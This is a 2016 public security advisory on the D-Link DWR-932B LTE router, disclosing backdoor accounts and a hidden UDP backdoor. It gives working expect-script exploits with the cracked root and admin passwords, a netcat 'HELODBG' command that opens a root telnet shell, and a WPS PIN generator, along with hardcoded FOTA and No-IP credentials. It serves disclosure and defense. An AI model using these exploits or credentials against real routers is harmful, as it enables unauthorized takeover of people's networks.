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Multiple vulnerabilities found in the Dlink DWR-932B (backdoor, backdoor accounts, weak WPS, RCE ...)



Hello,

Please find a text-only version below sent to security mailing lists.

The complete version on analysing the security in Dlink 932B LTE
routers is posted here:
    https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html


=== text-version of the advisory without technical explanations ===


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

## Advisory Information

Title: Multiple vulnerabilities found in the Dlink DWR-932B (backdoor,
backdoor accounts, weak WPS, RCE ...)
Advisory URL: https://pierrekim.github.io/advisories/2016-dlink-0x00.txt
Blog URL: https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html
Date published: 2016-09-28
Vendors contacted: Dlink
Release mode: Released
CVE: no current CVE
DWF: no current DWF



## Product Description

Dlink is a multinational networking equipment manufacturing corporation.



## Vulnerabilities Summary

The Dlink DWR-932B is a LTE router / access point overall badly
designed with a lot of vulnerabilities.
It's available in a number of countries to provide Internet with a LTE network.
It's a model based on the (in)famous Quanta LTE router models and
inherits some vulnerabilities.

The tests below are done using the latest available firmware (firmware
DWR-932_fw_revB_2_02_eu_en_20150709.zip,
model revision B,
/Share3/DailyBuild/QDX_DailyBuild/QDT_2031_DLINK/QDT_2031_OS/source/LINUX/apps_proc/oe-core/build/tmp-eglibc/sysroots/x86_64-linux/usr/bin/armv7a-vfp-neon-oe-linux-gnueabi/arm-oe-linux-gnueabi-gcc).

The summary of the vulnerabilities is:

  - Backdoor accounts
  - Backdoor
  - Default WPS PIN
  - Weak WPS PIN Generation - with a reverse-engineered algorithm
  - Leaking No-IP account (?)
  - Multiple vulnerabilities in the HTTP daemon (qmiweb)
  - Remote FOTA (Firmware Over The Air)
  - Bad security practices
  - Security removed in UPnP

A personal point of view: at best, the vulnerabilites are due to
incompetence; at worst, it is a deliberate act of security sabotage
from the vendor. Not all the vulnerabilities found have been disclosed
in this advisory. Only the significant ones are shown.

This router is still on sale.

Due to lack of security patches provided by the vendor, the
vulnerabilities will remain unpatched and customers with questions
should contact their local/regional D-Link support office for the
latest information.


## Details - Backdoor accounts

By default, telnetd and SSHd are running in the router.

Telnetd is running even if there is no documentation about it:

    user@kali:~$ cat ./etc/init.d/start_appmgr

    [...]
    #Sandro { for telnetd debug...
    start-stop-daemon -S -b -a /bin/logmaster
    #if [ -e /config2/telnetd ]; then
            start-stop-daemon -S -b -a /sbin/telnetd
    #fi
    #Sandro }
    [...]

2 backdoor accounts exist and can be used to bypass the HTTP
authentication used to manage the router.

    admin@homerouter:~$ grep admin /etc/passwd
    admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh
    admin@homerouter:~$

The password for admin is 'admin' and can be found in the /bin/appmgr
program using IDA:

About the root user:

    user@kali:~$ cat ./etc/shadow
    root:aRDiHrJ0OkehM:16270:0:99999:7:::
    daemon:*:16270:0:99999:7:::
    bin:*:16270:0:99999:7:::
    sys:*:16270:0:99999:7:::
    sync:*:16270:0:99999:7:::
    games:*:16270:0:99999:7:::
    man:*:16270:0:99999:7:::
    lp:*:16270:0:99999:7:::
    mail:*:16270:0:99999:7:::
    news:*:16270:0:99999:7:::
    uucp:*:16270:0:99999:7:::
    proxy:*:16270:0:99999:7:::
    www-data:*:16270:0:99999:7:::
    backup:*:16270:0:99999:7:::
    list:*:16270:0:99999:7:::
    irc:*:16270:0:99999:7:::
    gnats:*:16270:0:99999:7:::
    diag:*:16270:0:99999:7:::
    nobody:*:16270:0:99999:7:::
    messagebus:!:16270:0:99999:7:::
    avahi:!:16270:0:99999:7:::
    admin@kali:~$

Using john to crack the hashes:

    user@kali:~$ john -show shadow+passwd
    admin:admin:admin:/:/bin/sh
    root:1234:16270:0:99999:7:::

    2 password hashes cracked, 0 left
    user@kali:~$

Results:

 - admin has password admin
 - root has password 1234


Working exploit for admin:

    user@kali:~$ cat quanta-ssh-default-password-admin
    #!/usr/bin/expect -f

    set timeout 3
    spawn ssh admin@192.168.1.1
    expect "password: $"
    send "admin\r"
    interact
    user@kali:~$ ./quanta-ssh-default-password-admin
    spawn ssh admin@192.168.1.1
    admin@192.168.1.1's password:
    admin@homerouter:~$ id
    uid=168(admin) gid=168(admin) groups=168(admin)
    admin@homerouter:~$


Alternatively, you can fetch it at
https://pierrekim.github.io/advisories/quanta-ssh-default-password-admin.

Working exploit for root:

    user@kali:~$ cat quanta-ssh-default-password-root
    #!/usr/bin/expect -f

    set timeout 3
    spawn ssh root@192.168.1.1
    expect "password: $"
    send "1234\r"
    interact
    user@kali:~$ ./quanta-ssh-default-password-root
    spawn ssh root@192.168.1.1
    root@192.168.1.1's password:
    root@homerouter:~# id
    uid=168(root) gid=168(root) groups=168(root)
    root@homerouter:~#


Alternatively, you can fetch it at
https://pierrekim.github.io/advisories/quanta-ssh-default-password-root.



## Details - Backdoor

A backdoor is present inside the `/bin/appmgr` program. By sending a
specific string in UDP to the router, an authentication-less telnet
server will start if a telnetd daemon is not already running.

In `/bin/appmgr`, a thread listens to 0.0.0.0:39889 (UDP) and waits
for commands.

If a client sends "HELODBG" to the router, the router will execute
`/sbin/telnetd -l /bin/sh`, allowing to access without authentication
to the router as root.

When using IDA, we can see the backdoor is located in the main
function (line 369):

[please visit the HTML version at
https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html
to see the image]


Working PoC :

    user@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889
    Hello
    ^C
    user@kali:~$ telnet 192.168.1.1
    Trying 192.168.1.1...
    Connected to 192.168.1.1.
    Escape character is '^]'.

    OpenEmbedded Linux homerouter.cpe


    msm 20141210 homerouter.cpe

    / # id
    uid=0(root) gid=0(root)
    / # exit
    Connection closed by foreign host.
    user@kali:~$



## Details - Default WPS PIN

Wi-Fi Protected Setup(WPS) is a standard for easy and secure
establishment of a wireless home network, as defined in the
documentation provided in the router (help.html).

By default, the PIN for the WPS system is ever 28296607. It is, in
fact, hardcoded in the /bin/appmgr program:

This PIN can be found in the HostAP configuration too, and, using the
information leak, in the HTTP APIs of the router:

    root@homerouter:~# ps -a|grep hostap
     1006 root       0:00 hostapd /var/wifi/ar6k0.conf
     1219 root       0:00 grep hostap
    root@homerouter:~# cat /var/wifi/ar6k0.conf
    [...]
    ap_pin=28296607
    [...]



## Details - Weak WPS PIN Generation - with a reverse-engineered algorithm

An user can use the webinterface to generate a temporary PIN for the
WPS system (low probability as the 28296607 WPS PIN is provided by
default).

The PIN generated by the router is weak as it is generated using this
"strange" reverse-engineered algorithm:

    user@kali:~$ cat quanta-wps-gen.c

    #include <stdio.h>
    #include <stdlib.h>
    #include <time.h>


    int main(int    argc,
             char   **argv,
             char   **envp)
    {
      unsigned int  i0, i1;
      int           i2;

      /* the seed is the current time of the router, which uses NTP... */
      srand(time(0));

      i0 = rand() % 10000000;
      if (i0 <= 999999)
        i0 += 1000000;
      i1 = 10 * i0;
      i2 = (10 - (i1 / 10000 % 10 + i1 / 1000000 % 10 + i1 / 100 % 10 + 3 *
           (i1 / 100000 % 10 + 10 * i0 / 10000000 % 10 + i1 / 1000 %
10 + i1 / 10 % 10))
            % 10) % 10 + 10 * i0;

      printf("%d\n", i2 );

      return (0);
    }


    user@kali:~$ gcc -o dlink-wps-gen quanta-wps-gen.c
    user@kali:~$ ./dlink-wps-gen
    97329329
    user@kali:~$


You can fetch this program at
https://pierrekim.github.io/advisories/quanta-wps-gen.c.

Using `srand(time(0))` as a seed is a bad idea because an attacker,
knowing the current date as `time(0)` returns the current date in an
integer value, can just generate the valid WPS PIN. The Router uses
NTP so is likely to have a correct timestamp configured. It's trivial
for an attacker to generate valid WPS PIN suites and bruteforce them.

For the curious reader, the original algorithm in the firmware is:

[please visit the HTML version at
https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html
to see this long content]



## Details - Leaking No-IP account (?):

The file `/etc/inadyn-mt.conf` (for a dyndns client) contains an user
and a hardcoded password:

    --log_file /usr/inadyn_srv.log
    --forced_update_period 6000
    --username alex_hung
    --password 641021
    --dyndns_system default@xxxxxxxxx
    --alias test.no-ip.com



## Details - Multiple vulnerabilities in the HTTP daemon (qmiweb)

The HTTP daemon `/bin/qmiweb` is full of vulnerabilities.

You can see my precedent researches about a router model using a
similar firmware:

  - https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#webinterface-information-leak
  - https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#rce-1
  - https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#rce-2
  - https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#arbitrary-file-browsing-using-the-http-daemon
  - https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#arbitrary-file-reading-using-the-http-daemon

Adapting the exploits is left as exercises for the reader :)



## Details - Remote FOTA (Firmware Over The Air)

The credentials to contact the FOTA server are hardcoded in the
`/sbin/fotad` binary, as shown with this IDA screenshot:

[please visit the HTML version at
https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html
to see the image]


The function sub_CAAC contains the credentials as base64-strings, used
to retrieve the firmware.

It's notable the FOTA daemon tries to retrieve the firmware over
HTTPS. But at the date of the writing, the SSL certificate for
https://qdp:qdp@xxxxxxxxxxxxxxxxxx/qdh/ispname/2031/appliance.xml is
invalid for 1.5 year.

[please visit the HTML version at
https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html
to see the image]

The user/password combinations are:

    qdpc:qdpc
    qdpe:qdpe
    qdp:qdp



## Details - Bad security practices:

- From `/etc/init.d/start_appmgr`, you will read "strange" shell
commands executed as root, like:

    if [  -f /sbin/netcfg ]; then
            echo -n "chmod 777 netcfg"
            chmod 777 /sbin/netcfg
    fi
    if [  -f /bin/QNetCfg ]; then
            echo -n "chmod 777 QNetCfg"
            chmod 777 /bin/QNetCfg
    fi

I have no idea why the vendor needs to chmod 777 files located in /bin/.



## Details - Security removed in UPnP

UPnP allows to add firewall rules dynamically. Because of the security
risks involved, generally there are restrictions in place to avoid
dangerous new firewall rules from an unstrusted LAN client.

Insecurity in IPnP was hype 10 years ago (in 2006). The security level
of the UPNP program (miniupnp) in this router is volountarily lowered
as shown below and allows an attacker located in the LAN area to add
Port forwarding from the Internet to other clients located in the LAN:

The `/var/miniupnpd.conf` is generated by the `/bin/appmgr` program:

[please visit the HTML version at
https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html
to see the image]


It will generate the /var/miniupnpd.conf file:

    ext_ifname=rmnet0
    listening_ip=bridge0
    port=2869
    enable_natpmp=yes
    enable_upnp=yes
    bitrate_up=14000000
    bitrate_down=14000000
    secure_mode=no      # "secure" mode : when enabled, UPnP client
are allowed to add mappings only to their IP.
    presentation_url=http://192.168.1.1
    system_uptime=yes
    notify_interval=30
    upnp_forward_chain=MINIUPNPD
    upnp_nat_chain=MINIUPNPD

There is no restriction about the UPnP permission rules in the
configuration file, contrary to common usage in UPnP where it is
advised to only allow redirection of port above 1024:


Normal config file:

    # UPnP permission rules
    # (allow|deny) (external port range) ip/mask (internal port range)
    # A port range is <min port>-<max port> or <port> if there is only
    # one port in the range.
    # ip/mask format must be nn.nn.nn.nn/nn
    # it is advised to only allow redirection of port above 1024
    # and to finish the rule set with "deny 0-65535 0.0.0.0/0 0-65535"
    allow 1024-65535 192.168.0.0/24 1024-65535
    deny 0-65535 0.0.0.0/0 0-65535


In the configuration of the vulnerable router where there are no
permission rules, an attacker can forward everything from the WAN into
the LAN. For example, an attacker can add a forwarding rule in order
to allow traffic from the Internet to local Exchange servers, mail
servers, ftp servers, http servers, database servers... In fact, this
lack of security allows a local user to forward whatever they want
from the Internet into the LAN.


## Personal notes

As the router has a sizable memory (168 MB), a decent CPU and good
free space (235 MB) with complete toolkits installed by default (sshd,
proxy (/bin/tinyproxy -c /var/tproxy.conf), tcpdump ...), I advise
users to trash their routers because it's trivial for an attacker to
use this router as an attack vector (ie: hosting a sniffing tool, LAN
hacking, active MiTM tool, spamming zombie).

- From my tests, it is possible to overwrite the firmware with a
custom (backdoored) firmware. Generating a valid backdoored firmware
is left as an exercise for the reader, but with all these
vulnerabilities present in the default firmware, I don't think it is
worth making the effort.



## Vendor Response

  Customers with questions should contact their local/regional D-Link
support offices for the latest information.



## Report Timeline

 * Dec 04, 2015: Vulnerabilities found by Pierre Kim in Quanta routers.
 * Apr 04, 2016: A public advisory about Quanta routers is sent to
security mailing lists.
 * Jun 09, 2016: Pierre Kim is contacted by Gianni Carabelli about
Dlink DWR-932 router's similarities to Quanta routers.
 * Jun 14, 2016: Pierre Kim thanks Gianni Carabelli and says he will
contact Dlink.
 * Jun 15, 2016: Dlink is contacted about vulnerabilities in the
DWR-932 router (=~ 20 vulns).
 * Jun 16, 2016: Dlink Security Incident Response Team (William Brown)
acknowledges the receipt of the report and says they will provide
further updates.
 * Jul 09, 2016: Pierre asks for updates.
 * Jul 09, 2016: Dlink says they will have correction by July 15.
 * Jul 19, 2016: Pierre asks for updates.
 * Aug 19, 2016: Pierre asks for updates.
 * Sep 12, 2016: Pierre asks for updates and says he will soon release
an advisory as 90 days have passed without news.
 * Sep 12, 2016: cert@xxxxxxxx is contacted to get pieces of advice
about the disclosure.
 * Sep 13, 2016: CERT recommends to try to contact D-link and to
publish the advisory.
 * Sep 13, 2016: Dlinks says they don't have a schedule for a firmware
release. Customers who have questions should contact their
local/regional D-Link support offices for the latest information.
support.dlink.com will be updated in the next 24 hours.
 * Sep 28, 2016: A public advisory is sent to security mailing lists.



## Credits

These vulnerabilities were found by Pierre Kim (@PierreKimSec).

I would like to thank Gianni Carabelli who found this router and
thought it was very similar to the previous backdoored Quanta routers.



## References

https://pierrekim.github.io/advisories/2016-dlink-0x00.txt

https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html

https://www.linkedin.com/pulse/rooting-dlink-dwr-923-4g-router-gianni-carabelli



## Disclaimer

This advisory is licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 License:
http://creativecommons.org/licenses/by-nc-sa/3.0/

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-- 
Pierre Kim
pierre.kim.sec@xxxxxxxxx
@PierreKimSec
https://pierrekim.github.io/